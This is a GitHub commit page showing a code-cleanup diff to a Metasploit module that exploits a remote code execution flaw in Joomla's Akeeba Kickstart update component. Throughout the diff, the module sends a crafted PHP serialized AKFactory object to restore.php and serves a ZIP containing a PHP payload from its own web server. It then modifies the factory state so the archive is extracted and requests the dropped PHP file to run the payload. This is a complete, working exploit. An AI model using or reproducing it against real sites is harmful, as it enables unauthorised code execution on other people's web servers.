Skip to content

Commit f07c5de

Browse files
committed
Do code cleanup
1 parent 052a9fe commit f07c5de

File tree

1 file changed

+37
-26
lines changed

1 file changed

+37
-26
lines changed

modules/exploits/unix/webapp/joomla_akeeba_exec.rb

Lines changed: 37 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -11,18 +11,17 @@ class Metasploit3 < Msf::Exploit::Remote
1111
Rank = ExcellentRanking
1212

1313
include Msf::Exploit::Remote::HttpClient
14-
include Msf::Exploit::Remote::HttpServer
14+
include Msf::Exploit::Remote::HttpServer::HTML
1515
include Msf::Exploit::FileDropper
1616

1717
def initialize(info={})
1818
super(update_info(info,
1919
'Name' => "Joomla / Akeeba Kickstart Remote Code Execution",
2020
'Description' => %q{
21-
This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and
22-
earlier 3.x versions, 3.3.0 through 3.3.4 versions. The vulnerability more
23-
specifically affects the Akeeba component, which is responsible for Joomla!
24-
updates. Nevertheless it is worth to note that this vulnerability is only present
25-
during the update of the Joomla! CMS.
21+
This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
22+
3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
23+
component, which is responsible for Joomla! updates. Nevertheless it is worth to note
24+
that this vulnerability is only exploitable during the update of the Joomla! CMS.
2625
},
2726
'License' => MSF_LICENSE,
2827
'Author' =>
@@ -43,18 +42,16 @@ def initialize(info={})
4342
[
4443
[ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ]
4544
],
46-
'Stance' => Msf::Exploit::Stance::Aggressive,
45+
'Stance' => Msf::Exploit::Stance::Aggressive,
4746
'Privileged' => false,
4847
'DisclosureDate' => "Sep 29 2014",
4948
'DefaultTarget' => 0))
5049

51-
register_options(
52-
[
53-
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
54-
OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 5]),
55-
OptString.new('URIPATH', [true, 'The base path to the ZIP file', 'file.zip'])
56-
], self.class)
57-
50+
register_options(
51+
[
52+
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
53+
OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 5])
54+
], self.class)
5855
end
5956

6057
def check
@@ -63,26 +60,26 @@ def check
6360
)
6461

6562
if res && res.code == 200
66-
return Exploit::CheckCode::Detected
63+
return Exploit::CheckCode::Detected
6764
end
6865

6966
Exploit::CheckCode::Safe
7067
end
7168

7269
def primer
73-
srv_uri = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri
70+
srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip"
7471

7572
php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}'
7673
php_filename = rand_text_alpha(8 + rand(8)) + '.php'
7774

7875
# Create the zip archive
79-
print_status("Creating archive with file " + php_filename)
76+
print_status("Creating archive with file #{php_filename}")
8077
zip_file = Rex::Zip::Archive.new
8178
zip_file.add_file(php_filename, payload.encoded)
8279
@zip = zip_file.pack
8380

8481
# First step: call restore to run _prepare() and get an initialized AKFactory
85-
print_status("Sending our payload to #{peer}")
82+
print_status("#{peer} - Sending PHP serialized object...")
8683
res = send_request_cgi({
8784
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
8885
'vars_get' => {
@@ -91,28 +88,41 @@ def primer
9188
}
9289
})
9390

94-
unless res && res.body =~ /###(.*)###/
95-
fail_with("Error while injecting PHP serialized object : " + res.body)
91+
unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
92+
print_status("#{res.code}\n#{res.body}")
93+
fail_with(Failure::Unknown, "#{peer} - Unexpected response")
9694
end
9795

9896
# Second step: modify the currentPartNumber within the returned serialized AKFactory
9997
json = /###(.*)###/.match(res.body)[1]
100-
b64encoded_prepared_factory = JSON.parse(json)['factory']
98+
begin
99+
b64encoded_prepared_factory = JSON.parse(json)['factory']
100+
rescue JSON::ParserError
101+
fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")
102+
end
103+
101104
prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory)
102105
modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1')
103106

107+
print_status("#{peer} - Sending initialized and modified AKFactory...")
104108
res = send_request_cgi({
105109
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
106110
'vars_get' => {
107111
'task' => 'stepRestore',
108112
'factory' => Rex::Text.encode_base64(modified_factory)
109113
}
110114
})
115+
116+
unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
117+
fail_with(Failure::Unknown, "#{peer} - Unexpected response")
118+
end
119+
111120
register_files_for_cleanup(php_filename)
112121

122+
print_status("#{peer} - Executing payload...")
113123
send_request_cgi({
114124
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename)
115-
})
125+
}, 2)
116126

117127
end
118128

@@ -126,13 +136,14 @@ def exploit
126136

127137
# Handle incoming requests from the server
128138
def on_request_uri(cli, request)
129-
if (not @zip)
130-
print_error("A request came in, but the ZIP archive wasn't ready yet!")
139+
if @zip && request.uri =~ /\.zip$/
140+
print_status("Sending the ZIP archive...")
141+
send_response(cli, @zip, { 'Content-Type' => 'application/zip' })
131142
return
132143
end
133144

134-
print_status("Sending the ZIP archive to the server...")
135-
send_response(cli, @zip)
145+
print_status("Sending not found...")
146+
send_not_found(cli)
136147
end
137148

138149
end

0 commit comments

Comments
 (0)